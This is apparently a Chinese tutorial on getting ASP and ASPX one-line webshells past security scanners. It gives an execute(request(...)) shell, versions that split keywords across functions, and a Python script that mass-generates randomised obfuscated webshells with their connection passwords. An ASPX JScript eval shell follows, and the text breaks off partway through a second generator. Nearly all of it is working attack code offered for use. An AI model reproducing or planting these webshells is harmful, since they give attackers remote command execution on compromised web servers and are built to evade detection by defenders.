ASP绕过
相比于php ,asp就很不灵活了,许多编码函数不自带,注释无法隔断函数关键字与括号。
但是依然有不少方法可以绕过
首先asp的一句话木马如下:
<%execute(request("x"))%>
使用函数分割关键字
<%
Function b():
b = request("x")
End Function
Function a():
eXecUTe(b())
End Function
a()
%>
连接密码:x
批量脚本
import random
shell = '''<%
<!--
Function {0}():
{0} = request("{1}")
End Function
Function {2}():
execUte({0}())
End Function
{2}()
-->
%>'''
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str, len))
def build_webshell():
FunctionName = random_name(4)
parameter = random_name(4)
FunctionName1 = random_name(4)
shellc = shell.format(FunctionName, parameter, FunctionName1)
return shellc
if __name__ == '__main__':
print(build_webshell())
连接密码:VXAE
ASPX
其实原理是一样的,同样使用函数分割关键字
将Request.Form["pureqh"]
和 unsafe
分割为两份使用两个函数拼接
<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form["pureqh"];
var b="unsa",c="fe",d=b+c;
function fun()
{
return a;
}
function fun1()
{
eval(fun(),d);
}
fun1()
%>
批量脚本:
import random
shell = '''<%@ Page Language="Jscript" Debug=true%>
<%
var {
0